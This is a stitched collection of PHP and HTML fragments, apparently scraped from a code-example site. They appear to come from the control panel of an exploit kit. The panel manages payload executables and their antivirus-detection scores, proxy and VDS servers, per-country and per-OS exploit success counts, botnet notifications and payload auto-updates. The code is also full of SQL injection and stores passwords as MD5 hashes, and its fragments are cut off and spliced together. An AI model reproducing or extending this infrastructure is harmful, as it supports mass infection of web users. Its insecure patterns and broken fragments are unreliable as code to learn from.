function delProxy($id, $url = '')
{
    global $config;
    cdim('db', 'query', 'DELETE FROM `proxy` WHERE `id` = ' . $id);
    $ex = strpos($url, '?') === false ? '?' : '&';
    $url = $url . $ex . 'del=true&delpass='******'bbb.bbb', 'checkurl4u.php->DEL PROXY'."\r\n\r\n", FILE_APPEND);
}
function os2exp($os, $flow_id)
{
    global $config;
    $resultOS = cdim('db', 'query', "SELECT COUNT(*) as cnt, os FROM `traff` WHERE user_id = " . $config['user']['id'] . " AND flow_id = " . $flow_id . " AND os = '" . $os . "' AND `exp` != '' GROUP BY os ORDER BY cnt DESC LIMIT 10");
    if (!isset($resultOS[0])) {
        return 0;
    }
    return $resultOS[0]->cnt;
}
function getUserDataFromToken($token)
{
    // стоит хранить токены в базе, но мне лень, так что пройдемся по пользователям
    $users = cdim('db', 'query', "SELECT u.id as id, u.user_login as user_login, f.file_id, f.last_token, f.id as flow_id FROM `users` AS u LEFT JOIN `flows` AS f ON u.id = f.user_id");
    if (isset($users)) {
        foreach ($users as $k => $v) {
            if (md5($v->last_token . $v->id . $v->user_login) == $token) {
                return $v;
            }
        }
    }
    return false;
}
function getUserExeAsSelectOptions($file_id)
{
    global $config;
    $exe = cdim('db', 'query', "SELECT * FROM `files` WHERE user_id = " . $config['user']['id']);
    if ($file_id == NULL) {
        $sel = 'selected';
    } else {
        $sel = '';
    }
    $out = '<option value="empty" ' . $sel . '>--- select file ---</option>';
    $sel = '';
    if (isset($exe)) {
        foreach ($exe as $k => $v) {
            if ($file_id == $v->id) {
                $sel = 'selected';
            } else {
                $sel = '';
            }
            $out .= '<option value="' . $v->id . '" ' . $sel . '>' . $v->filename . '</option>';
        }
    }
    return $out;
}
// подключаем функции
include_once '../../gears/di.php';
// подключаем класс библиотеки класов
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
$user_id = intval($_POST['user_id']);
$query = explode(",", trim($_POST['query'], ","));
$query = array_unique($query, SORT_NUMERIC);
// удаляем все для этого пользователя
cdim('db', 'query', "DELETE FROM `proxy2users` WHERE `user_id` = " . $user_id . ";");
// если все выделения убраны то получаем 0
if ($query[0] == 0) {
    exit(json_encode(array('type' => 'ok', 'msg' => '')));
}
// добавляем заново
foreach ($query as $k => $v) {
    cdim('db', 'query', "INSERT INTO `proxy2users` VALUES ('" . $v . "','" . $user_id . "', NULL);");
}
exit(json_encode(array('type' => 'ok', 'msg' => '')));
      </div>
      <div class="modal-body">
		<div class="progress progress-striped active">
		  <div class="bar" style="width: 100%;"></div>
		</div>
		<h4 class="text-center">wait...</h4>
      </div>
    </div>
  </div>
</div>

<table class="listing">
<thead><tr><th>Host name (with path)</th><th>description</th><th>AV</th></tr></thead>
<tbody>
	<?php 
$vps = cdim('db', 'query', "SELECT * FROM `proxy` ORDER BY `id` ASC");
if (isset($vps)) {
    foreach ($vps as $k => $v) {
        echo '
					<tr class="rig_line" data-rigLineId="' . $v->id . '">
						<td class="rig_line_1"width="60%"><span>Host name (with path)</span><input style="width:99%;" value="' . $v->url . '"></td>
						<td class="rig_line_2"><input style="width:99%;" value="' . $v->description . '"></td>
						<td><strong class="btn btn-info" onClick="checkUrlAV(' . $v->id . ');">check</strong></td>
					</tr>
				';
    }
}
?>

</tbody>
</table>
Beispiel #7
0
	}

	function addVDSLine() {
		var trCount = parseInt($('.listing tbody tr :last').attr('data-rigLineId'))+1;
		if (!trCount) trCount = 1;
		var line = '<tr class="rig_line" data-rigLineId="'+trCount+'"><td class="rig_line_1" width="60%"><span>VDS IP</span><input style="width:99%;"></td><td class="rig_line_2"><input style="width:99%;"></td></tr>';		
		$('.listing tbody').append(line);
	}	

</script>

<table class="listing">
<thead><tr><th>VDS URL</th><th>description</th></tr></thead>
<tbody>
	<?php 
    $vds = cdim('db', 'query', "SELECT * FROM `vds` ORDER BY `id` ASC");
    if (isset($vds)) {
        foreach ($vds as $k => $v) {
            echo '
					<tr class="rig_line" data-rigLineId="' . $v->id . '">
						<td class="rig_line_1"width="60%"><span>VDS URL</span><input style="width:99%;" value="' . $v->ip . '"></td>
						<td class="rig_line_2"><input style="width:99%;" value="' . $v->description . '"></td>
					</tr>
				';
        }
    }
    ?>

</tbody>
</table>
<small>To delete, just leave host url field empty</small><br>
        errorHandler(E_ERROR, $last_error['message'], $last_error['file'], $last_error['line']);
    }
}
set_error_handler('errorHandler');
register_shutdown_function('fatalErrorShutdownHandler');
include_once '../../config.php';
// берем конфиг
include_once '../../gears/functions.php';
// подключаем функции
include_once '../../gears/di.php';
// подключаем класс библиотеки класов
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
$user_id = intval($_POST['user_id']);
if ($config['user']['rights']['rolename'] != 'admin') {
    exit(json_encode(array('type' => 'error', 'msg' => 'Только админ может сбрасывать сесси пользователей!')));
}
cdim('db', 'query', "UPDATE `users` SET `sid` = '' WHERE `id` = " . $user_id . ";");
exit(json_encode(array('type' => 'ok', 'msg' => '')));
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
if ($config['user']['rights']['rolename'] != 'admin') {
    exit('Hacking attempt');
}
//cdim('db','query',"TRUNCATE TABLE proxy");
if (!is_array($_POST['data'])) {
    exit(json_encode(array('type' => 'error', 'msg' => 'Что-то пошло не так!')));
}
foreach ($_POST['data'] as $k => $v) {
    $proxy = cdim('db', 'query', "SELECT * FROM `proxy` WHERE `url` = '" . $v . "';");
    // новая прокся
    if (!isset($proxy)) {
        cdim('db', 'query', "INSERT INTO `proxy` VALUES ('', '" . $v . "', '', 0);");
    } else {
        cdim('db', 'query', "UPDATE `proxy` SET `last_check` = 0 WHERE `url` = '" . $v . "';");
    }
}
exit(json_encode(array('type' => 'success', 'msg' => 'Серверы проксирования обновлены')));
    }
}
set_error_handler('errorHandler');
register_shutdown_function('fatalErrorShutdownHandler');
include_once '../../config.php';
// берем конфиг
include_once '../../gears/functions.php';
// подключаем функции
include_once '../../gears/di.php';
// подключаем класс библиотеки класов
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
if ($config['user']['rights']['rolename'] != 'admin') {
    exit('Hacking attempt');
}
foreach ($_POST as $k => $v) {
    cdim('db', 'query', "UPDATE `options` SET  `option_value` =  '" . $v . "' WHERE `option_name` = '" . $k . "';");
}
exit;
}
set_error_handler('errorHandler');
register_shutdown_function('fatalErrorShutdownHandler');
include_once '../../config.php';
// берем конфиг
include_once '../../gears/functions.php';
// подключаем функции
include_once '../../gears/di.php';
// подключаем класс библиотеки класов
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
$user_id = intval($_POST['user_id']);
$pass = md5($_POST['pass']);
if ($config['user']['rights']['rolename'] != 'admin' && $config['user']['id'] != $user_id) {
    exit(json_encode(array('type' => 'error', 'msg' => 'Пытаемся менять не свой пароль!')));
}
// обновляем
cdim('db', 'query', "UPDATE `users` SET `user_pass` = '" . $pass . "' WHERE `id` = " . $user_id . ";");
exit(json_encode(array('type' => 'ok', 'msg' => '')));
// подключаем функции
include_once '../../gears/di.php';
// подключаем класс библиотеки класов
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
// убираем все нотифаи старше 5 минут
cdim('db', 'query', "DELETE FROM `notifyQueue` WHERE `timeBirth` < UNIX_TIMESTAMP(NOW())-300;");
$res = cdim('db', 'query', "SELECT * FROM `botnets` WHERE `user_id` = '" . $config['user']['id'] . "' ORDER BY `botnetname` ASC;");
// проверяем наш ли ботнет
if (isset($res[0])) {
    foreach ($res as $k => $v) {
        $tasks = cdim('db', 'query', "SELECT * FROM `notifyQueue` WHERE `botnetname` = '" . $v->botnetname . "';");
        if (isset($tasks[0])) {
            cdim('db', 'query', "DELETE FROM `notifyQueue` WHERE `id` = " . $tasks[0]->id . ";");
            exit(json_encode(array('type' => 'info', 'msg' => 'Bot: ' . $tasks[0]->botid . '<br>From: ' . $tasks[0]->botnetname . '<br>' . $tasks[0]->msg)));
        }
    }
}
exit(json_encode(array('type' => 'none', 'msg' => '')));
Beispiel #13
0
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
if ($config['user']['rights']['rolename'] != 'admin') {
    exit('Hacking attempt');
}
//cdim('db','query',"TRUNCATE TABLE vds");
foreach ($_POST as $k => $v) {
    // убиваем
    if ($v['ip'] === '') {
        cdim('db', 'query', "DELETE FROM `vds` WHERE `id` = '" . $v['id'] . "';");
        continue;
    }
    $vds = cdim('db', 'query', "SELECT * FROM `vds` WHERE `id` = " . $v['id'] . ";");
    // новая прокся
    if (!isset($vds)) {
        cdim('db', 'query', "INSERT INTO `vds` VALUES ('', '" . $v['ip'] . "', '" . $v['description'] . "');");
        // надо знать id последней записи
        $pdoLink = $di->objects['db']->getVar('link');
        $bdId = $pdoLink->lastInsertId();
    } else {
        cdim('db', 'query', "UPDATE `vds` SET `ip` = '" . $v['ip'] . "', `description` = '" . $v['description'] . "' WHERE `id` = " . $v['id'] . ";");
        $lastUpdateId = $v['id'];
    }
}
if (!isset($bdId)) {
    $bdId = $lastUpdateId;
}
exit(json_encode(array('type' => 'success', 'msg' => 'Серверы VDS обновлены', 'vds_id' => $bdId)));
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
$file_id = is_numeric($_GET['file_id']) ? intval($_GET['file_id']) : false;
if ($file_id === false) {
    exit(json_encode(array('type' => 'success', 'msg' => 'Файл отсутствует')));
}
$xf = cdim('db', 'query', "SELECT `filename` FROM `files` WHERE `id` = " . $_GET['file_id'] . " AND `user_id` = " . $config['user']['id'] . " LIMIT 1;");
if (isset($xf[0])) {
    $autoupdate_url = isset($_POST['autoupdate_url']) ? addslashes($_POST['autoupdate_url']) : '';
    $autoupdate_filename = isset($xf[0]->filename) ? addslashes($xf[0]->filename) : '';
    $autoupdate_user_id = isset($config['user']['id']) ? (int) $config['user']['id'] : 0;
    $autoupdate_runfile = '../autoupdate/autoupdate_runfile_' . $autoupdate_user_id;
    $a_file_arr = array();
    if (file_exists($autoupdate_runfile)) {
        $a_filedata = @file_get_contents($autoupdate_runfile);
        if ($a_filedata !== FALSE) {
            $a_file_arr = unserialize($a_filedata);
        }
    }
    unset($a_file_arr[$autoupdate_filename]);
    @file_put_contents($autoupdate_runfile, serialize($a_file_arr));
}
$file = cdim('db', 'query', "UPDATE `flows` SET `file_id` = NULL, `last_token` = 0 WHERE `file_id` = " . $_GET['file_id'] . " AND `user_id` = " . $config['user']['id'] . ";");
$file = cdim('db', 'query', "DELETE FROM `files` WHERE `id` = " . $_GET['file_id'] . " AND `user_id` = " . $config['user']['id'] . ";");
exit(json_encode(array('type' => 'success', 'msg' => 'File Deleted')));
cdim('db', 'connect', $config);
$allfiles_data = array();
if (count($all_files) > 0) {
    foreach ($all_files as $filename) {
        $tmp_arr = explode('_', $filename);
        $u_id = (int) $tmp_arr[count($tmp_arr) - 1];
        $f_data = @file_get_contents($filename);
        if ($f_data !== FALSE) {
            $f_data = @unserialize($f_data);
            $allfiles_data[$u_id] = $f_data;
        }
    }
}
$update_files_arr = array();
if (count($allfiles_data) > 0) {
    $res = cdim('db', 'query', 'SELECT `id`, `user_id`, `filename` FROM `files`');
    // WHERE `user_id` = ".$config['user']['id']
    foreach ($res as $k => $v) {
        if (isset($allfiles_data[$v->user_id][$v->filename])) {
            $update_files_arr[$v->id]['user_id'] = $v->user_id;
            $update_files_arr[$v->id]['url'] = $allfiles_data[$v->user_id][$v->filename];
        }
    }
}
unset($f_data);
unset($allfiles_data);
if (count($update_files_arr) > 0) {
    foreach ($update_files_arr as $num => $val) {
        $url = $val['url'];
        //echo($num.'---url:'.$url.'<br>');
        if (strlen($url) > 1) {
if (class_exists('CURLFile')) {
    $cfile = new CURLFile($file, 'application/octet-stream', 'file');
    $post['uppload'] = $cfile;
} else {
    $post['uppload'] = '@' . $file;
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$response = curl_exec($ch);
if ($response === false || curl_errno($ch) || curl_getinfo($ch, CURLINFO_HTTP_CODE) != 200) {
    exit(json_encode(array('type' => 'error', 'msg' => curl_error($ch))));
}
$response = json_decode($response);
$total = 0;
$fired = 0;
$avlink = '';
foreach ($response as $k => $v) {
    if ($k == 'LINK') {
        $avlink = str_replace("URL=", "", $v);
        continue;
    }
    if ($response->{$k} != 'OK') {
        $fired++;
    }
    $total++;
}
$shortRes = $fired . '/' . $total;
$fileSize = filesize('../files/' . $result[0]->filename);
unlink('../files/' . $result[0]->filename);
cdim('db', 'query', "UPDATE `files` SET `avcheck` = '" . $shortRes . "' WHERE `id` = " . $file_id . " LIMIT 1 ;");
/* отдали результаты */
exit(json_encode(array('type' => 'success', 'msg' => 'File Checked', 'shortresult' => $shortRes, 'avlink' => $avlink, 'fileid' => $file_id, 'fileSize' => $fileSize, 'fileName' => $result[0]->filename)));
function delProxy($id)
{
    global $config;
    cdim('db', 'query', 'DELETE FROM `proxy` WHERE `id` = ' . $id);
    //file_put_contents('bbb.bbb', 'checkurl.php->'.$id."\r\n\r\n", FILE_APPEND);
}
        $ps_file_arr = unserialize($ps_filedata);
        $fd = FindData($ps_file_arr, array('public_key' => $pkey));
        if ($fd !== false) {
            $user_id = (int) $fd['user_id'];
            $flow_id = (int) $fd['flow_id'];
        } else {
            die('Unknown pkey');
        }
    }
}
$ard = array();
$all_result = cdim('db', 'query', "SELECT COUNT(*) as cnt FROM `traff` WHERE user_id = " . $user_id . " AND flow_id = " . $flow_id);
$all_res_exp = cdim('db', 'query', "SELECT COUNT(*) as cnt FROM `traff` WHERE user_id = " . $user_id . " AND flow_id = " . $flow_id . " AND `exp` != ''");
$top10 = cdim('db', 'query', "SELECT COUNT(*) as cnt, cc FROM `traff` WHERE user_id = " . $user_id . " AND flow_id = " . $flow_id . " GROUP BY cc ORDER BY cnt DESC LIMIT 10");
foreach ($top10 as $k => $v) {
    $ans = cdim('db', 'query', "SELECT COUNT(*) AS expl, cc FROM `traff` WHERE user_id = " . $user_id . " AND flow_id = " . $flow_id . " AND cc = '" . $v->cc . "' AND `exp` != ''");
    $ah = array_shift($ans);
    $ard[$v->cc]['all'] = $v->cnt;
    $ard[$v->cc]['exp'] = $ah->expl;
}
unset($top10);
if (count($ard) > 0) {
    echo '
	  <center>
	  <table border=1 style="border-collapse:collapse; border-width:1px; border-style:solid; border-color:#444444;">
	    <tr style="background:#EFEFEF;"><td style="width:140px; text-align:center;">Country</td><td style="width:140px; text-align:center">All</td><td style="width:140px; text-align:center">Exploit</td>
	  ';
    $asl = array_shift($all_res_exp);
    unset($all_res_exp);
    $other_exp = $asl->cnt;
    $other_exp_percent = 0;
// подключаем функции
include_once '../../gears/di.php';
// подключаем класс библиотеки класов
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
$user_id = intval($_POST['user_id']);
$flow_id = intval($_POST['flow_id']);
if (!preg_match("/[0-9]+/", $flow_id)) {
    exit(json_encode(array('type' => 'error', 'msg' => 'Flow id not valid!')));
}
if ($config['user']['id'] != $_POST['user_id']) {
    exit(json_encode(array('type' => 'error', 'msg' => 'It\'s not your stat.')));
}
if (!preg_match("/[0-9]+/", $user_id)) {
    exit(json_encode(array('type' => 'error', 'msg' => 'User id not valid!')));
}
// удаляем все задачи из тасков для этого user_id кроме sys_release
cdim('db', 'query', "DELETE FROM `traff` WHERE `user_id` = " . $user_id . " AND `flow_id` = " . $flow_id);
exit(json_encode(array('type' => 'success', 'msg' => 'Flow stat cleared')));
</tbody>
</table>
<small>Чтобы удалить запись, просто оставьте поле названия пустым</small><br>
<div style="text-align:left;float:left;margin-top:10px;"><input value="Добавить эксплоит" type="button" class="btn" onclick="addExploitLine()"></div>
<div style="text-align:right;margin-top:10px;"><input value="Сохранить" type="button" class="btn" onclick="saveExploitsStat()"></div>

<?php 
} else {
    // НАСТРОЙКИ ДЛЯ ПОЛЬЗОВАТЕЛЯ
    ?>

<table class="listing">
<thead><tr><th>Название эксплоита</th><th>сколько палит</th></tr></thead>
<tbody>
	<?php 
    $exploits = cdim('db', 'query', "SELECT * FROM `exploits` ORDER BY `id` ASC");
    if (isset($exploits)) {
        foreach ($exploits as $k => $v) {
            echo '
					<tr class="rig_line">
						<td class="rig_line_1"width="60%"><span>Название эксплоита</span>' . $v->name . '</td>
						<td class="rig_line_2"><span>сколько палит</span>' . $v->fault . '</td>
					</tr>
				';
        }
    }
    ?>

</tbody>
</table>
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
if ($config['user']['rights']['rolename'] != 'admin') {
    exit('Hacking attempt');
}
//cdim('db','query',"TRUNCATE TABLE proxy");
foreach ($_POST as $k => $v) {
    // убиваем
    if ($v['url'] === '') {
        cdim('db', 'query', "DELETE FROM `proxy` WHERE `id` = '" . $v['id'] . "';");
        continue;
    }
    $proxy = cdim('db', 'query', "SELECT * FROM `proxy` WHERE `id` = " . $v['id'] . ";");
    // новая прокся
    if (!isset($proxy)) {
        cdim('db', 'query', "INSERT INTO `proxy` VALUES ('', '" . $v['url'] . "', '" . $v['description'] . "', 0);");
        // надо знать id последней записи
        $pdoLink = $di->objects['db']->getVar('link');
        $bdId = $pdoLink->lastInsertId();
    } else {
        cdim('db', 'query', "UPDATE `proxy` SET `url` = '" . $v['url'] . "', `description` = '" . $v['description'] . "', `last_check` = 0 WHERE `id` = " . $v['id'] . ";");
        $lastUpdateId = $v['id'];
    }
}
if (!isset($bdId)) {
    $bdId = $lastUpdateId;
}
exit(json_encode(array('type' => 'success', 'msg' => 'Серверы проксирования обновлены', 'proxy_id' => $bdId)));
    exit(json_encode(array('type' => 'error', 'msg' => 'Имя пользователя не соответствует "a-z0-9_-"!')));
}
if (!preg_match("/[0-9]+/is", $_POST['newUserRole'])) {
    exit(json_encode(array('type' => 'error', 'msg' => 'Права пользователя заданы неверно!')));
}
if (!preg_match("/[a-z0-9!@#\$%&_-]+/is", $_POST['newUserPass'])) {
    exit(json_encode(array('type' => 'error', 'msg' => 'Пароль пользователя не соответствует "a-z0-9!@#$%&_-"!')));
}
$user_login = $_POST['newUserName'];
$user_role = $_POST['newUserRole'];
$user_password = $_POST['newUserPass'];
if ($config['user']['rights']['rolename'] != 'admin') {
    exit(json_encode(array('type' => 'error', 'msg' => 'Только админ может создавать пользователей!')));
}
// смотрим, есть ли такие имя
$isExist = cdim('db', 'query', "SELECT * FROM `users` WHERE `user_login` = '" . $user_login . "';");
if (isset($isExist)) {
    exit(json_encode(array('type' => 'error', 'msg' => 'Такое имя пользователя уже занято!')));
}
$rights = cdim('db', 'query', "SELECT * FROM `userrights` WHERE `id` = '" . $user_role . "';");
if (!isset($rights)) {
    exit(json_encode(array('type' => 'error', 'msg' => 'Таких ролей в системе нет!')));
}
$rights = unserialize($rights[0]->rights);
$color = $rights['rolename'] == 'admin' ? 'FF0000' : '0000FF';
cdim('db', 'query', "INSERT INTO `users` VALUES (NULL, '" . $user_login . "', '" . md5($user_password) . "','" . $rights['rolename'] . "','" . $color . "','" . time() . "','0','','');");
$pdoLink = $di->objects['db']->getVar('link');
$userID = $pdoLink->lastInsertId();
cdim('db', 'query', "INSERT INTO `flows` VALUES ('', " . $userID . ", NULL, 0);");
cdim('db', 'query', "INSERT INTO `flows` VALUES ('', " . $userID . ", NULL, 0);");
exit(json_encode(array('type' => 'ok', 'msg' => '')));
register_shutdown_function('fatalErrorShutdownHandler');
include_once '../../config.php';
// берем конфиг
include_once '../../gears/functions.php';
// подключаем функции
include_once '../../gears/di.php';
// подключаем класс библиотеки класов
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
$u_fileid = (int) $_GET['id'];
$file = cdim('db', 'query', "SELECT * FROM `files` WHERE `id` = " . $u_fileid . " AND `user_id` = " . $config['user']['id'] . ";");
if (count($file) > 0) {
    header("Cache-Control: public");
    header("Content-Disposition: attachment; filename=" . $file[0]->filename);
    header("Content-Type: application/octet-stream");
    header("Content-Transfer-Encoding: binary");
    header("Content-Length: " . $file[0]->filesize);
    echo $file[0]->file;
}
include_once '../../gears/functions.php';
// подключаем функции
include_once '../../gears/di.php';
// подключаем класс библиотеки класов
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
$user_id = intval($_POST['user_id']);
if (!preg_match("/[0-9]+/", $user_id)) {
    exit(json_encode(array('type' => 'error', 'msg' => 'Не валидный id!')));
}
if ($config['user']['rights']['rolename'] != 'admin') {
    exit(json_encode(array('type' => 'error', 'msg' => 'Только админ может удалять пользователей!')));
}
// удаляем все задачи из тасков для этого user_id кроме sys_release
cdim('db', 'query', "DELETE FROM `users` WHERE `id` = " . $user_id . ";");
cdim('db', 'query', "DELETE FROM `files` WHERE `user_id` = " . $user_id . ";");
cdim('db', 'query', "DELETE FROM `flows` WHERE `user_id` = " . $user_id . ";");
cdim('db', 'query', "DELETE FROM `tarif` WHERE `user_id` = " . $user_id . ";");
exit(json_encode(array('type' => 'success', 'msg' => 'Пользователь удален')));
Beispiel #25
0
function selectPROXY()
{
    $proxy = cdim('db', 'query', "SELECT * FROM `proxy`");
    if (isset($proxy)) {
        $proxyList = array();
        foreach ($proxy as $k => $v) {
            $proxyList[] = $v;
        }
        //return $proxyList[rand(0,count($proxyList)-1)];
        return $proxyList[0];
    } else {
        exit("no proxy");
    }
}
Beispiel #26
0
// кладем в конфиг все что забрали из базы (все опции)
foreach ($options as $k => $v) {
    $config['options'][$v->option_name] = $v->option_value;
}
if (isset($_POST['login']) && isset($_POST['password'])) {
    $login = $_POST['login'];
    $password = $_POST['password'];
} else {
    exit(json_encode(array('error' => '1', 'text' => 'no login or password')));
}
if (!preg_match("/^[a-zA-Z\\d-_.]{3,25}\$/", $login)) {
    exit(json_encode(array('error' => '1', 'text' => 'incorrect login')));
} else {
    //preg
    // смотрим есть ли в базе такая учетка
    $value = cdim('db', 'query', "SELECT * FROM users WHERE (`user_login` = '" . $login . "') AND (`user_pass` = '" . md5($password) . "')");
    // если нет
    if (count($value) <= 0) {
        // отдаем ошибку
        exit(json_encode(array('error' => '1', 'text' => 'incorrect login or password')));
    } else {
        $hash = md5($login . md5($password) . $_SERVER['REMOTE_ADDR']);
        // если есть то ставим куку до конца сессии на весь домен
        setcookie($config["cookiename"], $hash, NULL, '/');
        // обновляем данные куки в базе
        cdim('db', 'query', "UPDATE `users` SET  `sid` =  '" . $hash . "' WHERE `id` = " . $value[0]->id . ";");
        // отдаем ответ
        exit(json_encode(array('error' => '0', 'text' => 'all ok')));
    }
}
//preg
}
function fatalErrorShutdownHandler()
{
    $last_error = error_get_last();
    if ($last_error['type'] === E_ERROR) {
        // fatal error
        errorHandler(E_ERROR, $last_error['message'], $last_error['file'], $last_error['line']);
    }
}
set_error_handler('errorHandler');
register_shutdown_function('fatalErrorShutdownHandler');
include_once '../config.php';
// берем конфиг
include_once '../gears/functions.php';
// подключаем функции
include_once '../gears/di.php';
// подключаем класс библиотеки класов
include_once '../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once './auth/auth.php';
include_once '../../config.php';
// берем конфиг
include_once '../../gears/functions.php';
// подключаем функции
include_once '../../gears/di.php';
// подключаем класс библиотеки класов
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
if ($config['user']['rights']['rolename'] != 'admin') {
    exit(json_encode(array('type' => 'error', 'msg' => 'Только админ может менять цвет!')));
}
$user_id = intval($_POST['user_id']);
if (!preg_match("/\\#([0-9a-f]+)/is", $_POST['color'])) {
    exit(json_encode(array('type' => 'error', 'msg' => 'Цвет должен быть в формате #FFFFFF!')));
}
$color = trim($_POST['color'], '#');
// обновляем
cdim('db', 'query', "UPDATE `users` SET `color` = '" . $color . "' WHERE `id` = " . $user_id . ";");
exit(json_encode(array('type' => 'ok', 'msg' => '')));
Beispiel #29
0
<tr><td colspan=2 style="text-align:right;"><input type="button" class="btn" value="create" onclick="createUser();"></tr>
</tbody>
</table>

<h2>editing users</h2>
<table class='listing' border=0>
<thead><tr><th>id</th><th>user</th><th>status</th><th>period</th><th>manage</th></tr></thead>
<tbody>
<?php 
// select all users
$users = cdim('db', 'query', "SELECT * FROM `users` ORDER BY `id` ASC");
if (isset($users)) {
    foreach ($users as $k => $v) {
        // Next there (although we do not know , but this precisely is =) )
        $pageNext = true;
        $tarifExp = cdim('db', 'query', "SELECT * FROM `tarif` WHERE user_id = " . $v->id);
        if (isset($tarifExp)) {
            $tarifExpInDays = ceil(($tarifExp[0]->len - time()) / 60 / 60 / 24);
            if ($tarifExpInDays < 5) {
                $tarifExpInDays = "<string style='color:red;'>" . $tarifExpInDays . ' days</strong>';
            } else {
                $tarifExpInDays = $tarifExpInDays . ' days</strong>';
            }
            $tarifExp = str_replace('"', "'", json_encode(array('format' => 'Y-m-d', 'date' => date('Y-m-d', $tarifExp[0]->len))));
        } else {
            $tarifExpInDays = 'not assigned';
            $tarifExp = 0;
        }
        $oe = !isset($oe) || $oe == 'odd' ? 'even' : 'odd';
        ?>
		<tr class="<?php 
}
set_error_handler('errorHandler');
register_shutdown_function('fatalErrorShutdownHandler');
include_once '../../config.php';
// берем конфиг
include_once '../../gears/functions.php';
// подключаем функции
include_once '../../gears/di.php';
// подключаем класс библиотеки класов
include_once '../../gears/db.php';
// подключаем класс базы
// создаем подключение к базе
cdim('db', 'connect', $config);
// забираем из базы опции и кладем их в конфиг
$options = cdim('db', 'query', "SELECT * FROM options");
// кладем в конфиг все что забрали из базы (все опции)
if (isset($options)) {
    foreach ($options as $k => $v) {
        $config['options'][$v->option_name] = $v->option_value;
    }
}
// авторизация
include_once '../auth/auth.php';
$user_id = intval($_POST['user_id']);
$login = $_POST['login'];
if ($config['user']['rights']['rolename'] != 'admin' && $config['user']['id'] != $user_id) {
    exit(json_encode(array('type' => 'error', 'msg' => 'Пытаемся менять не свой логин!')));
}
// обновляем
cdim('db', 'query', "UPDATE `users` SET `user_login` = '" . $login . "' WHERE `id` = " . $user_id . ";");
exit(json_encode(array('type' => 'ok', 'msg' => '')));